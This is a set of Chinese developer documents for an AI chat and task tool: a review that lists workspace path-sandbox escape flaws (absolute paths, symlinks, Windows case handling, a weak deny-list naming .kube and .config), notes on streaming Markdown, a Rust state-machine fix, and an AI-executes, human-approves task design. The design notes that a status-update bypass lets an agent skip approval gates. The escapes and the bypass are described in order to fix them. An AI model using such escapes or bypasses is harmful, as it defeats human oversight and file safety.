`tool_registry.rs` 实际注册 **3 个文件工具**`read_file`(:394) / `list_directory`(:428) / `write_file`(:444)。其余 edit_file/delete_file/rename_file/move_file/search_content/append_file **均未实现**——功能缺口,迫使 LLM 滥用 write_file 全量覆写,**放大 FR-S7 危害**。
### P0 — 阻断
| # | 问题 | 位置 | 修法方向 |
|---|------|------|----------|
| **FR-S8** | **路径 sandbox 系统性逃逸**:①`validate_path` 子串 `..` 检测对**绝对路径无效**`C:\Windows\...` 不含 `..` 绕过②canonicalize 仅对**已存在路径**跑write_file 新建文件 + symlink 父目录场景失效③Windows `Path::starts_with` 大小写敏感而文件系统不敏感,可误判/漏判 | :19-21, :53-69 | 统一 canonicalize不存在路径取最长存在前缀+ 大小写不敏感 prefix 比较 + parent 也校验 |
| FR-S7(放大) | write_file 定级 Medium 可自动批准 + 非原子覆写,覆写任意已存在非空文件即数据丢失(见 §9 | :446, :461 | 覆写非空文件升 High 审批 + `.bak` 备份 + 原子写(tmp→rename) |
### P1 — 重要
| # | 问题 | 位置 |
|---|------|------|
| P1-1 | write_file 非原子写:中途崩溃留半截文件丢原内容(叠加 FR-S7 数据彻底丢失) | :461 |
| P1-2 | write_file `create_dir_all(parent)` 不校验 parentworkspace 内 symlink 父目录可写逃逸 | :457-460 |
| P1-3 | read_file 1MB 按**字节** + `read_to_string` 对非 UTF-8/二进制直接失败无降级 | :409, :413 |
| P1-4 | read_file offset 无上限校验超范围静默返空limit 无硬上限 | :415-419 |
| P1-5 | list_directory 噪音目录仍作为 entry 返回仅不深入max_depth=2 写死无文档 | :437, :439, :500 |
| P1-6 | list_directory `DirEntry::metadata()` **跟随 symlink**symlink 目录被当普通目录递归(信息泄露 + 与 P1-2/FR-S8 形成逃逸组合拳) | :491-492 |
| P1-7 | `validate_path` 黑名单**子串匹配**:易误伤(`appdata-collector` 项目)易绕过(漏 `.config`/`.kube`/Program Files冗余弱层 | :22-29 |
### P2 — 次要
list_directory 子目录无权限读整层 bail:484/ read_file 错误回显完整绝对路径泄露(:406/ write_file bytes_written 字节非字符易误导(:463/ max_entries off-by-one:486/ to_str 非 UTF-8 路径笼统报错(:401/ 未实现工具缺口edit/delete/rename/move/search/append 迫使滥用 write_file
### 总结
框架方向正确schema+risk+handler 同源、双层校验、FR-S2 TOCTOU+1MB 已修),但 **sandbox 实现层有系统性缺口**:子串黑名单(弱)+ 词法 starts_withWindows 大小写坑)+ canonicalize 只覆盖存在路径(新建漏)。优先级:**FR-S8 统一 canonicalize > P1-6/P1-2 symlink 不跟随 > FR-S7 原子写+升审批**。
关联 todoFR-S7覆盖保护、FR-S8sandbox 逃逸)。
---
## 附:相关 memory(指针)
- `devflow-aichat-review-pending.md`
- `devflow-idea-inspiration-migration.md`

View File

@@ -61,4 +61,4 @@
- 触及 [[aichat-arch-extensibility]] 记录的 AiSession 单例瓶颈。
- 与 [[aichat-roadmap-ab-split]] B 路线(补决策/并发能力)相关。
- 当前同步审批的其他问题(审批态 stop 卡死、新建对话破坏 session)见 `aichat-review-2026-06-14.md` H2/H3,异步化时一并解决。
- 当前同步审批的其他问题(审批态 stop 卡死、新建对话破坏 session)见 `aichat审查报告-2026-06-14.md` H2/H3,异步化时一并解决。

View File

@@ -0,0 +1,146 @@
# AI Chat 流式 Markdown 渲染调研2026-06-15
> 范围:`AiChat.vue` 流式渲染优化。当前 AR-1 修复commit f58743e用「流式纯文本短路」防掉帧副作用是流式过程无格式。本调研找不掉帧且有格式的更好方案。
> 方法3 路并行调研(机制方案 / 现成库 / Vue3 落地)+ 主代理整合。
> 性质:调研 + 方案,**未实施**。
> 关联:[aichat审查报告-2026-06-14.md](aichat审查报告-2026-06-14.md) AR-1[近期改动代码审查-2026-06-15.md](../05-代码审查/近期改动代码审查-2026-06-15.md) §亮点「renderMd 流式纯文本短路」。
---
## §1 问题根因
现状(`src/components/AiChat.vue:200,347`
```vue
<div v-html="renderMd(text, isLastAi(msg) && store.state.streaming)"></div>
```
```js
function renderMd(text, isStreaming=false){
if (isStreaming || !mdReady) return escapeHtml(text) // 流式纯文本短路
return _purify.sanitize(_marked.parse(text))
}
```
掉帧两因素叠加:
- **(A) 解析成本**:每个 delta 全量 `marked.parse()` O(N)N 随回复增长,后期单帧解析几十 ms。
- **(B) 重渲染成本**`v-html` 整段替换触发子树重布局。
当前方案牺牲「流式格式」躲掉 (A)(B),但 delta 20-80ms 一个,流式时用户看到裸 markdown 源码(`#``-`、```` ``` ```` 符号),结束才出格式。
---
## §2 五大机制对比
| 机制 | 消除瓶颈 | 流式有格式 | 成本 | 适用 | 独立够吗 |
|---|---|---|---|---|---|
| 1. rAF 批量节流 | 中(砍频率) | 是 | 低 | 全部 | 否(长文本单次仍重) |
| 2. 块级 diff + memo | **高**(砍到 O(末块) | 是 | 低-中 | 全部 | **基本够(主流首选)** |
| 3. Web Worker 解析 | 高(主线程归零) | 是 | 中 | 超长文档/重 sanitize | 通常与 2 叠加 |
| 4a. 代码块延迟高亮 | 高(代码块零成本) | 代码块流式无色 | 低 | 有代码块 | 仅代码块,需叠加 |
| 4b. shiki-stream 增量高亮 | 高 | 代码块流式有色 | 中 | 有代码块 | 仅代码块 |
| 5. 虚拟滚动 | 中(砍 DOM 不砍 parse | 是 | 中 | 长会话消息列表 | 否 |
**机制 2块级 diff + memo是业界主流首选**——Vercel AI SDK 官方 cookbook 做法。原理:`marked.lexer()` 按双换行/代码围栏切块,每块独立 memoize只有「正在生长的末块」重 parse已完成块缓存跳过。解析成本从 O(全文) 降到 O(末块)。
**大厂可见行为**ChatGPT / Claude / Gemini 流式时均有格式,代码块流式时等宽 + 基本着色。Chrome 官方文档明确反对「整篇重 parse + innerHTML 替换」(正是当前实现),推荐 streaming-markdown 增量 append。
**rAF 实测数据**SitepointReact 18.3 生产构建 M2朴素逐 token setState 平均 commit 18ms80 token/s 达 52ms 可见卡顿rAF 批量后 3-5ms。
---
## §3 现成库评估
| 库 | Vue3 兼容 | 流式 | 安全 | 维护 | 结论 |
|---|---|---|---|---|---|
| **markstream-vue** | ✅ 原生组件 | ✅ 双模式(虚拟窗口 + 增量批处理) | ✅ 内置 safe HTML | ✅ 2.2k star / open issue 2 / 近乎日更 / 尤雨溪背书 / 1.0 稳定 | **首选** |
| streamdown (Vercel) | ❌ React 绑定 + 强绑 Tailwind/shadcn | ✅ | ✅ rehype-harden | ✅ | 仅参考issue #19 求 Vue 版未解决) |
| streaming-markdown | ⚠️ callback 驱动需自己接线 | ✅ token 级 | ❌ 需自配 | 功能不全 | 参考 |
| marked当前用 | ✅ | ❌ 无官方流式 API | ❌ 需自配 DOMPurify | ✅ 36.9k star | 不直用做流式层 |
| markdown-it | ✅ | ❌ 无原生流式 | - | ✅ | 同上 |
| antfu/shiki-stream | ✅ 组件 | ✅ 增量高亮 | - | ✅ 511 star | 代码块高亮专库 |
**核心结论**:有 Vue3 原生可直接用的流式 markdown 库 **markstream-vue**尤雨溪推荐命中全部诉求——流式有格式、不掉帧、TS-first、内置 sanitize、`final` prop 解未闭合 token 卡死。内部已含 marked + Shiki + sanitize 组合,等于替你造好轮子。
**降级路径**:若样式侵入太重,只用其解析内核 `stream-markdown-parser`(框架无关纯函数)+ 现有 DOMPurify 自控渲染。
---
## §4 落地方案(递进)
### 方案 ArAF 节流渲染(最小改动)
流式时 `requestAnimationFrame` 每帧最多 parse 一次(封顶 60fps`v-html` 绑响应式 `streamingHtml`。流式结束取消 rAF + 强制最终渲染落 mdCache。
- 性能:频率从「每 delta」降到「每帧」主线程有空隙让浏览器 paint。
- 观感:流式全程有格式;**瑕疵**:未闭合代码块(末尾 ```)会闪烁。
- 成本:低(~60 行)。
- 风险:超长回答(>20k 字)每帧 parse 全文仍偏重。
```js
const streamingHtml = ref('')
let rafId = null, lastStreamText = ''
function scheduleStreamParse(text){
if (rafId !== null) return
rafId = requestAnimationFrame(()=>{
rafId = null
if (text === lastStreamText) return
lastStreamText = text
streamingHtml.value = _purify.sanitize(_marked.parse(text))
})
}
watch(()=>store.state.streaming,(s,old)=>{
if(old && !s){ if(rafId) cancelAnimationFrame(rafId); rafId=null; lastStreamText=''; streamingHtml.value='' }
})
onBeforeUnmount(()=>{ if(rafId) cancelAnimationFrame(rafId) })
```
### 方案 B方案 A + 代码块流式降级(体验最佳,推荐起步)
在 A 基础上,流式期把 fenced code 块正则抠出降级为纯文本(`<pre class="md-code-streaming">`),其余正常 marked。流式结束一次完整 marked 替换。
- 消掉方案 A 的「未闭合代码块闪烁」瑕疵——AI 回答大量含代码块,高频可见。
- 成本:中(~100 行 + CSS
- **推荐起步方案**A→B 平滑叠加B 只替换 `doStreamParse` 一个函数,不返工)。
### 方案 CWeb Worker彻底解耦
marked+sanitize 移 Worker主线程零 parse。Worker 内 DOMPurify 需 jsdom shim或换 `sanitize-html` 免 DOM
- 成本:高(~150 行 + worker 文件 + jsdom
- 适用:极端长回答/多会话。方案 B 不够再上。
### 方案 D换库直上 markstream-vue
用 `<MarkdownRender :content :final />` 替换整个 renderMd 手写层。
- 成本:中(库接入 + 样式对接)。
- 收益:省自造轮子,拿到虚拟窗口 + 增量高亮 + 未闭合处理全套。
- 风险:样式侵入、新依赖、迁移工作量需评估。
---
## §5 推荐结论
**两条路,按风险偏好二选一**
| 路线 | 方案 | 收益 | 风险 | 工作量 |
|---|---|---|---|---|
| **保守(自研改造)** | 方案 BrAF 节流 + 代码块降级) | 流式全程有格式、不掉帧、消代码块闪烁、无新依赖 | 超长回答边界需观察 | 中(~100 行 + CSS |
| **激进(换库)** | 方案 Dmarkstream-vue | 同上 + 虚拟窗口 + 增量高亮 + 长期省维护 | 新依赖、样式侵入、迁移成本 | 中-高 |
**渐进建议**:先上方案 B 跑通(验证 rAF 节流 + 代码块降级在当前 delta 频率下不掉帧)→ 观察长回答边界 → 若需更强能力(虚拟窗口/增量高亮)再评估换 markstream-vue。
**当前 AR-1 临时方案(流式纯文本短路)由方案 D 替换后退役**——纯增量收益,流式全程有格式。
> **决策2026-06-15选方案 D**(换 markstream-vue。理由自研块级 memo 与 D 复杂度接近D 白送 shiki 代码高亮 + 虚拟窗口 + 未闭合 token 修复器,自研只在「坚决不引新依赖」时才划算。落地 todo:ARC-260615-08。
>
> **决策转向2026-06-15同日复盘方案 D 试装后弃用,改自研块级 memo方案 B 增强版)**。复盘markstream-vue@1.0.1 接入 + vue-tsc 通过无技术障碍,但「样式 100% 还原现有 .ai-md」成本高且脆——markstream DOM 异构于 marked 输出(代码块 `.code-block-container` chrome 结构 / 暗色 `--ms-*` 变量体系依赖 `.dark` class 而 DevFlow 用 `[data-theme]` / prose 作用域 `.markstream-vue`4 处对接且随 markstream 升级易漂移。用户优先级是「保留原样式」>「虚拟窗口/shiki 高级能力」,转自研块级 memomarked 输出标准 HTML → .ai-md 样式零对接,借鉴 §2 机制 2块级 memo业界主流实现 splitBlocks代码围栏整体一块/非代码双换行切)+ 前块缓存命中 O(末块) + 末块不缓存处理未闭合 token + rAF 节流。结论:**自研块级 memo = 方案 B 增强rAF + 真块级 memo非仅代码块降级零新依赖、零样式对接、D 级流式性能**。§5 原决策表「自研只在坚决不引新依赖时才划算」判断在「不要高级能力、要原样式」前提下反转——此时自研反而最优。落地ARC-260615-08 自研版已实施vue-tsc exit 0待 dev 运行时验证。
---
## 来源
- [Best practices to render streamed LLM responses — Chrome for Developers](https://developer.chrome.com/docs/ai/render-llm-responses)streaming-markdown 增量 append、Paint flashing 验证)
- [Markdown Chatbot with Memoization — Vercel AI SDK Cookbook](https://ai-sdk.dev/cookbook/next/markdown-chatbot-with-memoization)(块级 diff + memo 官方实现)
- [Streaming Backends & React: Controlling the Re-render Chaos — Sitepoint](https://www.sitepoint.com/streaming-backends-react-controlling-re-render-chaos/)rAF 实测数据)
- [antfu/shiki-stream — GitHub](https://github.com/antfu/shiki-stream)
- [markstream-vue — GitHub](https://github.com/Simon-He95/markstream-vue)
- [vercel/streamdown — GitHub](https://github.com/vercel/streamdown)
- [HuggingFace chat-ui: webworker for markdown parsing #1733](https://huggingface.co/spaces/jdelavande/chat-ui-energy/commit/7d6fc19984864d960f2875391858ea067b030dc6)
- [shikijs/shiki Discussion #891](https://github.com/shikijs/shiki/discussions/891)GrammarState 流式高亮底层)

View File

@@ -0,0 +1,284 @@
# AI 生成状态机加固generating 生命周期)
> 创建: 2026-06-15 | 来源: /review generating 状态机专项审查 | 关联 bug: 用户报障"创建不了新对话"
---
## 1. 背景
用户报障AI 面板"创建不了新对话了",前端报 `生成中无法新建对话,请先停止或等待完成`,但前端实际无内容生成。
排查定位:后端 `AiSession.generating` 标志卡在 `true`,与实际无生成状态不符。`ai_conversation_create`commands.rs:451硬拦 `generating=true` → 死锁,用户永远新建不了对话,只能重启 app。
`/review` 对 generating 状态机commands.rs 对话/审批/stop + agentic.rs loop/try_continue + stream_recv.rs stream_llm + mod.rs AiSession做专项审查产出本文档。
---
## 2. 现状:三标志组合表达隐式状态机
### 2.1 状态标志
| 标志 | 类型 | 位置 | 作用 |
|------|------|------|------|
| `generating` | `bool` | `Mutex<AiSession>` 内 | 是否有 agentic loop 活跃 |
| `pending_approvals` | `HashMap` | `Mutex<AiSession>` 内 | 待审批工具调用 |
| `stop_flag` | `Arc<AtomicBool>` | 跨锁共享 | ai_chat_stop 置位loop/stream 读取 |
### 2.2 隐式表达的 4 态
| 状态 | 标志组合 | 语义 |
|------|---------|------|
| **Idle** | `generating=false` | 空闲,可接新请求 |
| **Streaming** | `generating=true && pending=空` | agentic loop 流式生成中 |
| **AwaitingApproval** | `generating=true && pending非空` | loop 暂停等用户审批 |
| **Stopping** | `stop_flag=true`(瞬态) | 用户点了停止loop 检查点退出中 |
### 2.3 两个散布问题(根因)
**写侧散布(复位)**`generating=false` 手动散落在 6 个 return 点agentic.rs:53/94/144/190/264/318。任一新增 return 漏写、或 spawn task panic/abort → 所有复位点跳过 → `generating` 永久 true。
**读侧散布(判别)**:状态判别靠标志组合反推:
- `try_continue`agentic.rs:283`should_continue = generating && !pending`
- `ai_chat_stop`commands.rs:250`pending非空` 分流流式/审批态
- `ai_conversation_create`commands.rs:451`generating` 硬拦
判别逻辑散落三处,无单一真相源,新增分支易漏。
---
## 3. 状态机决策:轻量状态机,不引入框架
### 3.1 决策结论
**不引入独立状态机框架**enum 字段替换 bool + 转换守卫 + codegen 库)。采用**轻量状态机**
- **写侧收敛** = RAII guardDrop 兜底复位),对应审查项 ①
- **读侧收敛** = `session.state()` enum 视图方法(只读,不改字段),对应审查项 ⑤
- **stop_flag 保留** `Arc<AtomicBool>`(跨锁信号,状态机管不了)
### 3.2 多角度论证
| 角度 | 独立状态机框架 | 轻量方案(guard+视图) | 判 |
|------|--------------|-------------------|-----|
| **状态复杂度** | 4 态 6 边转换,简单 | 同 | 不足以 justify 框架 |
| **stop_flag 约束** | enum 不能跨锁stop_flag 仍须 AtomicBool 独存 | stop_flag 保留enum 只读视图 | 框架无法替代跨锁信号 |
| **根因对症** | 复位散布=写侧 / 判别散布=读侧 | guard 治写 + 视图治读,**精准对症** | 轻量直达根因 |
| **风格契合** | enum 字段+转换函数+非法检测=过度封装 | 增量加 guard+方法,做减法 | 轻量契合"可读性>抽象性" |
| **迁移成本** | 改 AiSession 字段+所有读写点+测试,大改 | 增量,①⑤已在审查清单 | 轻量零额外工作 |
### 3.3 关键洞察
① RAII guard写收敛+ ⑤ enum 视图(读收敛)= 状态机读写两端都收敛,**功能上等价于状态机,但不引入 enum 字段/转换守卫/框架**。这是务实路线,符合作减法风格。
`stop_flag` 是跨锁信号ai_chat_stop 在 IPC 线程置位loop/stream 在 agentic task 读),必须保持 `Arc<AtomicBool>` 独立——这是状态机 enum 字段(锁内)无法替代的并发要求。
---
## 4. 改造设计
### 4.1 ① RAII guard — 写侧收敛P0 根治)
新增 guard struct`run_agentic_loop` 入口创建,函数退出(含 panic/abort/正常 return时 Drop 兜底复位。
```rust
struct GeneratingGuard {
session: Arc<Mutex<AiSession>>,
app: AppHandle,
conv_id: String,
}
impl Drop for GeneratingGuard {
fn drop(&mut self) {
let app = self.app.clone();
let conv_id = self.conv_id.clone();
let session = self.session.clone();
tauri::async_runtime::spawn(async move {
let mut s = session.lock().await;
if s.generating { // 仅在仍 true 时复位(避免重复 emit
s.generating = false;
drop(s);
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted {
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0,
conversation_id: Some(conv_id),
});
}
});
}
}
```
`run_agentic_loop` 入口:`let _guard = GeneratingGuard { ... };`,函数内所有手动 `session.generating = false` 删除。
**注意**Drop 是同步的不能再 `.await`,故 spawn 异步复位。存在极小窗口 generating 仍 true由 ② 软复位兜底。
### 4.2 ⑤ session.state() 视图 — 读侧收敛P1
只读视图方法,不改 AiSession 字段,收敛三标志组合判别:
```rust
enum SessionState { Idle, Streaming, AwaitingApproval }
impl AiSession {
fn state(&self) -> SessionState {
if !self.generating { return SessionState::Idle; }
if self.pending_approvals.is_empty() { SessionState::Streaming }
else { SessionState::AwaitingApproval }
}
}
```
改造判别点:
- `try_continue``should_continue = matches!(session.state(), SessionState::Streaming)`
- `ai_chat_stop`:分流用 `matches!(session.state(), SessionState::AwaitingApproval)`
- `ai_conversation_create`:见 4.3
### 4.3 ② newConversation 软复位 — 死锁解除P0
`ai_conversation_create`commands.rs:451硬拦改软复位。`generating=true` 时强制复位(等同 `ai_chat_stop` 审批态分支 commands.rs:252再新建
```rust
if session.generating {
session.generating = false;
session.pending_approvals.clear();
session.stop_flag.store(true, Ordering::SeqCst);
let conv_id = session.active_conversation_id.clone();
drop(session);
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted { ... conversation_id: conv_id });
session = state.ai_session.lock().await;
}
session.active_conversation_id = Some(id.clone());
// ...
```
**含 ④ 策略统一**:软复位后 newConversation 与 switchConversation:518readonly 放行)形成一致心智——「新建=放弃当前生成 / 切换=只读接管」。
需加 `app: AppHandle` 参数tauri 注入,前端无感)。
### 4.4 ③ loop 对话一致性校验 — 竞态防护P0
② 软复位后旧 loop 退出时 `session.messages.push(旧 assistant)`agentic.rs:171/173污染新对话。loop 每次 push 前校验:
```rust
let mut session = session_arc.lock().await;
if session.active_conversation_id.as_deref() != Some(&conv_id) {
return; // 对话已切走,丢弃本轮,不 pushguard ① 兜底复位)
}
if has_tool_calls { /* push */ }
```
同样校验建议加在 `save_conversation` 调用前agentic.rs:90/186/212/254防旧 loop 写库污染。
### 4.5 ⑥ stop 流式态兜底 — 治 loop 已死P1
`ai_chat_stop`commands.rs:261流式态分支仅置 stop_flag依赖 loop 自复位。若 loop 已 panic/abortstop_flag 无人读generating 永不复位。复用 ② 抽出的复位 helper 兜底。
### 4.6 ⑦ stop_notify 即时打断P1可选
`stop_flag`AtomicBool无 async 通知能力,靠 30s 心跳 tick 间接唤醒 select!。换 `tokio::sync::Notify` 即时打断。`stop_flag` 保留作循环顶快检(冗余双保险)。
---
## 5. 状态转换图
```
ai_chat_send
┌─────────────────┐
│ Streaming │◄────────────────┐
│ generating=true │ │
│ pending=空 │ │
└────────┬────────┘ │
│ │
┌──────────┼──────────┐ │
│ │ │ │
有待审批 无工具调用 stop_flag ai_approve
│ (收敛) (用户停) (处理完)
▼ │ │ │
┌──────────────┐ │ ▼ │
│AwaitingApproval│ │ ┌─────────┐ │
│ generating=true │ │ │ Stopping│ │
│ pending非空 │ │ │stop=true│ │
└──────┬───────┘ │ └────┬────┘ │
│ │ │ │
ai_approve │ loop 检查点 │
(处理完) │ 退出+复位 │
│ │ │ │
└───────────┼──────────┼───────────────┘
▼ ▼
┌────────────────────┐
│ Idle │
│ generating=false │
└────────────────────┘
```
**复位保障**:所有退出路径(实线)由 ① guard 的 Drop 兜底异常路径panic/abort虚线同样由 Drop 覆盖。② 软复位作为 newConversation 入口的二级防线。
---
## 6. 实施计划
### P0用户 bug 根治组合,必须同批)
| # | 项 | 文件 | 依赖 |
|---|---|------|------|
| B-260615-09 | ① RAII guard 收尾 | agentic.rs | 无(上游) |
| B-260615-10 | ② newConversation 软复位(含④策略统一)| commands.rs:451 | 必须配 B-11 |
| B-260615-11 | ③ loop 对话一致性校验 | agentic.rs:158 | B-10 配套 |
**依赖关系**
- ②③ 强耦合(②放开 newConversation 触发③的竞态,单独做②会引入数据污染)→ **捆绑实施**
- ① 是②③的上游根治(①修了仍需②③,因 panic 兜底不可能 100% 覆盖 OS 级 abort**三者同批**
### P1
| # | 项 | 文件 |
|---|---|------|
| B-260615-12 | ⑤ session.state() enum 视图(轻量状态机读侧)| mod.rs:97 |
| B-260615-13 | ⑥ stop 流式态兜底(复用②复位 helper| commands.rs:261 |
| B-260615-14 | ⑦ stop_flag 换 Notify 即时打断 | stream_recv.rs:148 |
### P2
| # | 项 | 文件 |
|---|---|------|
| B-260615-15 | ⑧ heartbeat interval 提到 loop 外 | stream_recv.rs:138 |
| B-260615-16 | ⑨ MAX_AGENT_ITERATIONS 配置化 | agentic.rs:28 |
| B-260615-17 | ⑩ key_len 复用 build_provider_for 结果FR-S1 相关)| agentic.rs:67 |
| B-260615-18 | ⑪ pending_approvals 单例+conv_id 路由加注释 | mod.rs:107 |
---
## 7. 验证
### P0 验证(用户 bug 复现 + 根治)
1. **卡死复现**:构造 panic 场景(如临时在 run_agentic_loop 内 panic→ 验证 generating 卡 true → newConversation 被拦
2. **① guard 兜底**:同上 panic 场景 → guard Drop 复位 generating → newConversation 正常
3. **② 软复位**:手动置 generating=true模拟卡死→ newConversation 强制复位成功新建
4. **③ 一致性**:② 软复位后旧 loop 退出 → 验证不 push 到新对话 messages
### 回归
- 正常收敛(无工具调用)→ break → guard 复位 ✅
- 审批等待 → pending 非空 → guard 不复位(设计)→ ai_approve → try_continue 续 ✅
- stop 流式态 → stop_flag → loop 退出 → guard 复位 ✅
- stop 审批态 → 直接清 pending + 复位 ✅
---
## 8. 取舍 / 未做
| 项 | 决策 | 理由 |
|----|------|------|
| 独立状态机框架 | **不做** | 过度封装,轻量方案(guard+视图)功能等价 |
| enum 字段替换 bool | **不做** | 改字段+所有读写点,大改;视图方法够用 |
| stop_flag 转 enum | **不做** | 跨锁信号必须 AtomicBoolenum 锁内无法替代 |
| panic 100% 兜底 | **不可能** | OS 级 abortOOM killguard 抓不到,②软复位兜底 |
| 命令黑名单/资源限制 | **不做**run_command 安全边界)| 属 B/C/D 方案领域A 方案靠人审 |
---
## 相关文档
- [df-ai AI 集成模块](../03-模块文档/df-ai-AI集成模块-2026-06-12.md)
- [aichat 审查报告-2026-06-14](./aichat审查报告-2026-06-14.md)
- [流式 Markdown 渲染调研-2026-06-15](./aichat流式Markdown渲染调研-2026-06-15.md)

View File

@@ -0,0 +1,344 @@
# 构想: 任务推进全局设计AI-First 推进链) — 2026-06-14
> 性质: 架构设计 / 实现方案
> 关联: df-workflow · AiNode/HumanNode · knowledge 状态机范式 · devflow AI-First 定位kms/devflow_ai_first_model.html
> 修订:
> - 多角度对抗论证收敛kind/状态机不抽层/范围精简)
> - 对抗性验证升级5 维度:收口/并发/崩溃/一致性/前端)
> - **AI-First 定位确认**:任务由 AI 执行→AI 自审→人工最终核对(人从操作者转为审批者)
---
## 定位AI-First 推进链(核心转向)
devflow 是 AI-First 工具。任务推进**不是人点按钮的操作流,是 AI 的执行流**
```
todo ──AI执行──▶ in_progress ──AI自审──▶ review_ready ──人工核对──▶ done
AiNode AiNode HumanNode
AI 干活 AI 审 AI 的活 人最终把关 AI 产出
```
- **AI 执行**:任务内容由 AI 干(写代码、改文件、跑测试)。干完自动推进,人不必手动点「开始」。
- **AI 自审**AI 审 AI 自己的产出code review结构化结论。审过推进审出问题退回重做。
- **人工最终核对**:人在 merge 关卡最终把关 AI 产出。**这是 AI-First 的核心契约——人监督 AI**,不是人确认自己的活。
**advance_task 的默认触发者从「人」变成「AI」**(执行/自审完成事件触发),人可介入/覆盖/微调。人从「操作者」转为「审批者」。
### 这修复了对抗验证的 merge 零因果批评
对抗验证 Agent 4 批评「单人场景 merge 审批零因果——自审自批≈手切」。**AI 执行 + 人工核对**正好修复merge 不再是人确认自己的活,而是**人监督 AI 的活**——从形式主义升级为实质关卡。
---
## 背景
项目管理任务维护目前**只能创建,不能推进**——前端状态标签纯展示无入口。根因缺「推进编排层」:状态字段、工作流引擎、分支表、状态机范式各干各的,且**完全缺 AI 执行层**。
## 痛点
| 已有能力 | 位置 | 现状 |
|---|---|---|
| 任务状态字段(裸 String无值域校验 | `models.rs:52` | 无状态机、无联动、前端不暴露 |
| 工作流引擎ScriptNode/HumanNode/**AiNode** | `df-workflow/*` + `df-nodes/*` | 三种节点现成AiNode 注释明示设计意图「AI 分析→人工审批」,但推进链没用上 |
| 分支表状态 | `models.rs:69` | 语义同构,未联动 |
| 状态机范式 | `knowledge.rs:53` | 只在 knowledge 用 |
| **AI 执行能力** | `df-ai` provider + `ai_node.rs` | AiNode 通用 LLM 调用现成agent 级「写代码改文件」能力渐进 |
---
## 核心模型AI-First 推进链 + 状态机
### 状态机AI 推进 + 退回 + 旁路)
```
AI执行闸门 AI自审闸门 人工核对闸门
todo ───────────▶ in_progress ──────────▶ review_ready ──────────▶ done
▲ │ │
└── AI自审block/人工拒绝 ┘ │ (AI 重做)
abandoned (任意态可放弃,终态不可逆)
```
**退回边** `review_ready → in_progress`AI 自审 block 或人工拒绝 → 退回让 AI 重做。AI 推进下退回比人推进更频繁AI 反复审自己),故 loop 管理必要。
### 闸门策略(三闸门各司其职,都必需)
| 边 | 闸门 | 节点 | 阶段一 | 阶段二 |
|---|---|---|---|---|
| `start` | **AI 执行** | AiNode/agent | ✅ 必需(最小形态) | + git worktreecode kind |
| `ready` | **AI 自审** | AiNode | ✅ 必需 | + lint/test 真校验 |
| `merge` | **人工核对** | HumanNode | ✅ 必需(人监督 AI | + git merge 副作用 |
| `abandon` | 无 | — | 直接转 | 直接转 |
三闸门都必需不再是「merge 强制 + start/ready 关闭」——AI 推进链上每环都有节点把关。
### ⚠️ 失败路径定义(含 AI 执行/自审失败)
| 失败场景 | 工作流结果 | 任务状态 | 反馈 |
|---|---|---|---|
| **AI 执行失败**agent 报错/超时) | failed | 保持 todo | 「AI 执行失败:<错误>」,人可重试或介入手干 |
| **AI 自审 block**(审出严重问题) | failed | **退回 in_progress**AI 重做) | 「AI 自审未通过:<问题清单>」 |
| **AI 自审 warn**(轻微问题) | completed带警告 | 推进到 review_ready | 警告附在任务上,人核对时可见 |
| **人工拒绝** | failed | **退回 in_progress**AI 重做) | 「人工核对未通过:<意见>」 |
| **闸门脚本失败**(阶段二 lint/test | failed | 保持推进前 | 「闸门失败」 |
| **审批超时/取消** | failed/Err | 保持推进前 | 「超时/已取消」 |
| **应用崩溃** | running 孤儿 | 保持推进前,可重新推进 | 启动提示「检测到中断的推进」 |
**关键**AI 自审/人工核对的「拒绝/block」→ 退回 in_progress 让 AI 重做不是退回给人干——AI-First 下人是审批者不是执行者)。
### AI 自审结果处理(建议性 vs 强制)
AiNode 输出纯文本,要判通过与否得约定结构化输出 + 解析:
```json
{ "verdict": "pass" | "warn" | "block", "issues": [...], "summary": "..." }
```
- `pass`:推进;`warn`:推进但带警告;`block`:退回 in_progress
- 默认 AI 自审走 verdict 判定(非纯建议),否则 AI 推进链断在人审前
- 人审merge仍是最终关卡可覆盖 AI 自审结论
---
## AI 执行层(新增,核心缺口)
任务内容由谁干——这是原方案的最大盲区。AI-First 下由 AI 执行。
### 实现形态
- **AiNode/agent 执行**start 闸门触发 AiNode或更复杂的 agent 编排)干活——读任务描述 + 项目上下文 → 写代码/改文件/跑测试 → 产出 diff
- **执行能力渐进**阶段一最小形态AiNode 跑执行 prompt / 接现有 AI 工具链),阶段二+ 逐步增强agent 多步、文件操作、git worktree 内执行)
- **执行产出**:代码 diff / 文件变更 / 测试结果,供下游 AI 自审节点消费
### advance_task 触发者变更
- **默认**AI 执行完成事件 → 自动触发 advance_task(start→推进)
- AI 自审完成 → 触发 advance_task(ready→推进或退回)
- 人工核对完成 → 触发 advance_task(merge→done)
- **人可介入**:任何节点人能手动推进/覆盖/接手(人转手干)
---
## 【P0】状态机收口对抗验证最高优先级
### 致命漏洞update_task 是公开旁路
`task.rs:74` update_task 白名单含 `"status"``crud.rs:291`),任意调用方一行绕过所有闸门和状态机。且 `crud tests:249` 单测固化旁路。AI 推进下更危险——AI agent 若能调 update_task 改 status整个 AI 执行/自审/核对链形同虚设。
### 收口措施
1. 从 tasks 白名单**移除 `"status"`**
2. **advance_task 成为 status 唯一写入路径**AI 触发也走它)
3. 删除/改写 `update_field_allows_tasks_status` 单测
4. advance_task 内联 `validate_task_status` 值域校验
---
## 状态集清理(非「定稿」)
对抗验证纠误:前端早已 5 态,后端 enum 多 3 个僵尸死状态InReview/Testing/Blocked 零使用。是「清理僵尸」非「7→5 定稿」。
措施:删后端 enum 死状态 + `merged→done` 改名 + 迁移前抽样 + status 值域校验。
```sql
-- 迁移幂等conn.transaction() 包裹)
UPDATE tasks SET status='done' WHERE status='merged';
```
---
## 任务类型:阶段一不加 kind
对抗验证:阶段一 code/generic 行为零差异,违反 YAGNI。阶段二 git 联动需要区分时再加 kindALTER + 回填 generic`tags` 保留承担语义标注doc/design
**AI 推进下的 kind 意义**:阶段二+ AI 执行内容按 kind 分化code 任务 AI 写代码、doc 任务 AI 写文档、design 任务 AI 出图)。阶段一 AI 执行最小形态不区分,随能力增强再分。
---
## 状态机实现:不抽层 + 下沉 SQL
enum 补 `can_transition_to`(不新建 state_machine.rsknowledge validate_transition 源码验证是空壳):
```rust
impl TaskStatus {
pub fn can_transition_to(&self, to: &TaskStatus) -> bool {
match (self, to) {
(Todo, InProgress | Abandoned) => true,
(InProgress, ReviewReady | Abandoned) => true,
